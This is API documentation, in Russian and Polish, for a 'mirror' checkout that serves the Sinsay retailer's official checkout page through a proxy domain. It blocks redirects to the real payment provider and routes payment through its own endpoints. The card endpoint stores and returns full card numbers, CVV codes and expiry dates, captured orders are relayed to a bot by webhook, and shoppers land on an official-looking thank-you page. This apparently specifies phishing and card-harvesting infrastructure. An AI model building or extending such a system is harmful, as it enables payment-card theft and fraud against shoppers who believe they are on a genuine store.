# Checkout API (контракт для кодера)

Пошаговое API для страницы `/pl/pl/checkout/order/` и для бота (`/api/bot/v1/checkout/...` — те же шаги).

**Checkout UI:** только официальная страница Sinsay `https://<domain>/pl/pl/checkout/order/` (прокси). Отдельной страницы checkout нет.

**Оплата:** зеркальные эндпоинты `https://<domain>/api/checkout/order/...` — **без** редиректа на PayU/Felopay (блокируется в браузере и в JSON AJAX). Felopay только при `CHECKOUT_PAY_ENABLED=true`.

**Base URL (browser, cookies `sid`):** `https://<domain>/api/checkout/order`  
**Сессии Redis (бот / тесты):** `https://<domain>/api/checkout` — см. §2–4  
**Bot:** `https://<domain>/api/bot/v1` + `X-API-Key` (см. [bot-api.md](bot-api.md))

---

## 1. Авторизация и каталог

### `GET /api/checkout/session`

Проверка логина (cookies Sinsay на прокси).

```bash
curl -s -b "sid=..." "https://example.com/api/checkout/session"
```

### `GET /api/checkout/catalog?cartTotal=199.99`

Список dostawy i płatności (ID как на sinsay.com).

### `GET /api/checkout/cart`

Корзина. Опционально `?checkoutSessionId=...`.

```bash
curl -s -b "sid=..." "https://example.com/api/checkout/cart"
```

---

## 2. Сессия checkout (Redis draft)

### `POST /api/checkout/sessions`

Создать черновик. Cookie `checkout_sid` выставляется автоматически.

```bash
curl -s -X POST -b "sid=..." "https://example.com/api/checkout/sessions" \
  -H "Content-Type: application/json" -d '{}'
```

Ответ:

```json
{
  "ok": true,
  "checkoutSessionId": "abc123...",
  "snapshot": {
    "shippingMethodId": "storemethod",
    "paymentMethodId": "lpp_papay_payu_blik",
    "allowedPaymentIds": ["..."],
    "totals": { "subtotal": 99.99, "shipping": 0, "total": 99.99, "currency": "PLN" }
  }
}
```

### `GET /api/checkout/sessions/:checkoutSessionId`

Текущий snapshot.

---

## 3. Шаги (один endpoint = одно действие)

### `PUT /api/checkout/sessions/:id/shipping`

```bash
curl -s -X PUT -b "sid=..." \
  "https://example.com/api/checkout/sessions/SESSION_ID/shipping" \
  -H "Content-Type: application/json" \
  -d '{"shippingMethodId":"inpostpp"}'
```

Ответ: `{ "ok": true, "allowedPaymentIds": [...], "totals": {...}, "deliveryType": "pickup" }`

ID dostawy: `storemethod`, `orlenpp`, `dpdmetapp`, `inpostpp`, `pocztapolskacouriermethod`, `dpdmetacouriermethod`, `dpdmetacouriermethodcod`.

### `POST /api/checkout/sessions/:id/pickup/search`

Поиск punktów (прокси на Sinsay, нужен login).

```bash
curl -s -X POST -b "sid=..." \
  "https://example.com/api/checkout/sessions/SESSION_ID/pickup/search" \
  -H "Content-Type: application/json" \
  -d '{"query":"Warszawa","carrier":"inpost","page":0,"pageSize":20}'
```

### `PUT /api/checkout/sessions/:id/pickup`

```bash
curl -s -X PUT ... \
  -d '{"id":"WAW01A","name":"Paczkomat","address":"ul. Test 1","city":"Warszawa","zip":"00-001"}'
```

### `PUT /api/checkout/sessions/:id/courier-address`

Для kuriera:

```bash
curl -s -X PUT ... \
  -d '{"street":"Marszałkowska","number":"1","zip":"00-001","city":"Warszawa"}'
```

### `PUT /api/checkout/sessions/:id/payment-method`

Привязка метody płatności:

```bash
curl -s -X PUT ... \
  -d '{"paymentMethodId":"lpp_papay_payu_blik"}'
```

ID: `lpp_papay_payu_blik`, `lpp_papay_paypo`, `lpp_papay_payu_card`, `lpp_papay_payu_quickcheckout`, `lpp_papay_klarna`, `giftcard`, `lpp_papay_paypal`, `cashondelivery` (tylko COD shipping).

### `PUT /api/checkout/sessions/:id/invoice`

```bash
curl -s -X PUT ... \
  -d '{
    "firstname":"Jan","lastname":"Kowalski",
    "email":"jan@example.com","phone":"+48123456789",
    "invoiceIsCompany":false
  }'
```

### `GET /api/checkout/sessions/:id/totals`

```bash
curl -s "https://example.com/api/checkout/sessions/SESSION_ID/totals"
```

---

## 4. Zamówienie i płatność (na stronie)

### `POST /api/checkout/sessions/:id/commit`

Создаёт `Order` в БД, **без** платежа.

```bash
curl -s -X POST -b "sid=..." \
  "https://example.com/api/checkout/sessions/SESSION_ID/commit"
```

Ответ: `{ "ok": true, "orderId": 42, "reference": "ABC123XYZ" }`

### `POST /api/checkout/sessions/:id/pay`

Заглушка PSP (или Felopay при `CHECKOUT_PAY_ENABLED=true`).

```bash
curl -s -X POST ... \
  -H "Content-Type: application/json" \
  -d '{"webhookUrl":"https://bot.example/hook"}'
```

Ответ (stub):

```json
{
  "ok": true,
  "status": "pending",
  "orderId": 42,
  "reference": "ABC123XYZ",
  "paymentMethodId": "lpp_papay_payu_blik",
  "paymentMethodLabel": "BLIK",
  "message": "Płatność oczekuje na integrację backendu..."
}
```

При `CHECKOUT_PAY_ENABLED=true` дополнительно: `redirectUrl` (Felopay).

**Интеграция для кодера:** реализовать логику в [`app/src/checkout/draftService.ts`](../src/checkout/draftService.ts) функция `payDraft()`.

---

## 5. Bot API (зеркало)

Те же шаги под `/api/bot/v1/checkout/sessions`:

```bash
export BOT_API_KEY=secret
export SESSION_ID=...

# Создать сессию из cartSessionId
curl -s -H "X-API-Key: $BOT_API_KEY" -X POST \
  -H "Content-Type: application/json" \
  -d '{"cartSessionId":"'"$SESSION_ID"'"}' \
  "https://example.com/api/bot/v1/checkout/sessions"

# Или из items
curl -s -H "X-API-Key: $BOT_API_KEY" -X POST \
  -d '{"items":[{"productId":"1","name":"T-shirt","price":49.99,"qty":1}]}' \
  "https://example.com/api/bot/v1/checkout/sessions"

# Далее PUT shipping, pickup, payment-method, invoice
# POST .../commit
# POST .../pay
```

Устаревшие: `POST /api/bot/v1/orders`, `POST /api/bot/v1/orders/:id/pay` (заголовок `X-Deprecated`).

---

## 6. Legacy

`POST /api/our/order` — deprecated. Передайте `checkoutSessionId` в body для commit+pay, либо используйте пошаговые маршруты выше.

---

## 7. Webhook Felopay → bot

При оплате через Felopay и `webhookUrl` в `POST .../pay` сервер шлёт `POST` на URL бота:

```json
{ "orderId": 42, "status": "paid", "paymentMethod": "lpp_papay_payu_blik" }
```

Ключ Redis: `bot:webhook:{orderId}`.

---

## 8. Płatność na `/pl/pl/checkout/order/` (API dla PSP)

Cookie `sid` = sesja koszyka (to samo co przy dodawaniu do koszyka). Każda akcja = osobny endpoint.

| Akcja | Metoda | Ścieżka |
|--------|--------|---------|
| Stan płatności | `GET` | `/api/checkout/order/payment` |
| Wybór metody | `PUT` | `/api/checkout/order/payment-method` |
| Zapis zamówienia (DB) | `POST` | `/api/checkout/order/place` |
| Start płatności | `POST` | `/api/checkout/order/payment/init` |
| Karta | `POST` | `/api/checkout/order/payment/card` |
| BLIK | `POST` | `/api/checkout/order/payment/blik` |
| Redirect (tylko mirror) | `POST` | `/api/checkout/order/payment/redirect` |
| Status | `GET` | `/api/checkout/order/payment/status` |
| Potwierdzenie (PSP) | `POST` | `/api/checkout/order/payment/confirm` |
| Anuluj | `POST` | `/api/checkout/order/payment/cancel` |

### `PUT /api/checkout/order/payment-method`

```bash
curl -s -X PUT -b "sid=..." "https://example.com/api/checkout/order/payment-method" \
  -H "Content-Type: application/json" \
  -d '{"paymentMethodId":"lpp_papay_payu_card"}'
```

### `POST /api/checkout/order/place`

Zapisuje `Order` w DB (dane z body — np. z formularza Sinsay lub z bota). Wymagane m.in. `email`, `phone`, `address`, `shippingMethodId`, `paymentMethod`.

```bash
curl -s -X POST -b "sid=..." "https://example.com/api/checkout/order/place" \
  -H "Content-Type: application/json" \
  -d '{
    "firstname":"Jan","lastname":"Kowalski",
    "email":"jan@example.com","phone":"+48123456789",
    "address":"Paczkomat WAW01","city":"Warszawa","zip":"00-001",
    "shippingMethodId":"inpostpp","shippingPrice":9.99,
    "deliveryType":"pickup","paymentMethod":"lpp_papay_payu_blik"
  }'
```

### `POST /api/checkout/order/payment/card`

Pełny numer karty, CVV i data ważności są zapisywane w Redis (sesja `sid`, TTL jak checkout) oraz w `paymentToken.rawWebhook` — zwracane w odpowiedzi i w `GET /api/checkout/order/payment`.

```bash
curl -s -X POST -b "sid=..." "https://example.com/api/checkout/order/payment/card" \
  -H "Content-Type: application/json" \
  -d '{"cardNumber":"4242424242424242","expiry":"12/28","cvc":"123","cardHolder":"JAN KOWALSKI"}'
```

Odpowiedź (fragment): `"card":{"cardNumber":"4242424242424242","expiry":"12/28","cvc":"123","cardHolder":"JAN KOWALSKI"}`.

### `POST /api/checkout/order/payment/blik`

```bash
curl -s -X POST -b "sid=..." "https://example.com/api/checkout/order/payment/blik" \
  -d '{"code":"123456"}'
```

### `POST /api/checkout/order/payment/redirect`

Zwraca `redirectUrl` na oficjalną stronę podziękowania **`/pl/pl/checkout/order/created/`** (ta sama co na www.sinsay.com; błąd → `/pl/pl/checkout/order/error/`). Nigdy PayU/PayPal.

**Ważne:** strona `created/` pokazuje podziękowanie tylko po **złożeniu zamówienia w SPA** (`POST /pl/pl/ajx/checkout/createOrder/` przez proxy). Samo `POST /api/checkout/order/place` zapisuje zamówienie w mirror DB, ale bez `createOrder` upstream SPA pokaże koszyk.

```bash
curl -s -X POST -b "sid=..." "https://example.com/api/checkout/order/payment/redirect" \
  -d '{"webhookUrl":"https://bot.example/hook"}'
```

### `POST /api/checkout/order/payment/confirm`

Wywołanie po sukcesie PSP (lub test):

```bash
curl -s -X POST -b "sid=..." "https://example.com/api/checkout/order/payment/confirm" \
  -d '{"status":"paid","token":"..."}'
```

Webhook Felopay nadal: `POST /api/payment/webhook` (token z `paymentToken`).

**Kod integracji PSP:** [`app/src/checkout/orderPaymentService.ts`](../src/checkout/orderPaymentService.ts) — funkcje `submitCardPayment`, `submitBlikPayment`, `startRedirectPayment`, `confirmPayment`.

W przeglądarce na stronie order: `window.__MIRROR_CHECKOUT_PAYMENT__.api` → `/api/checkout/order`.
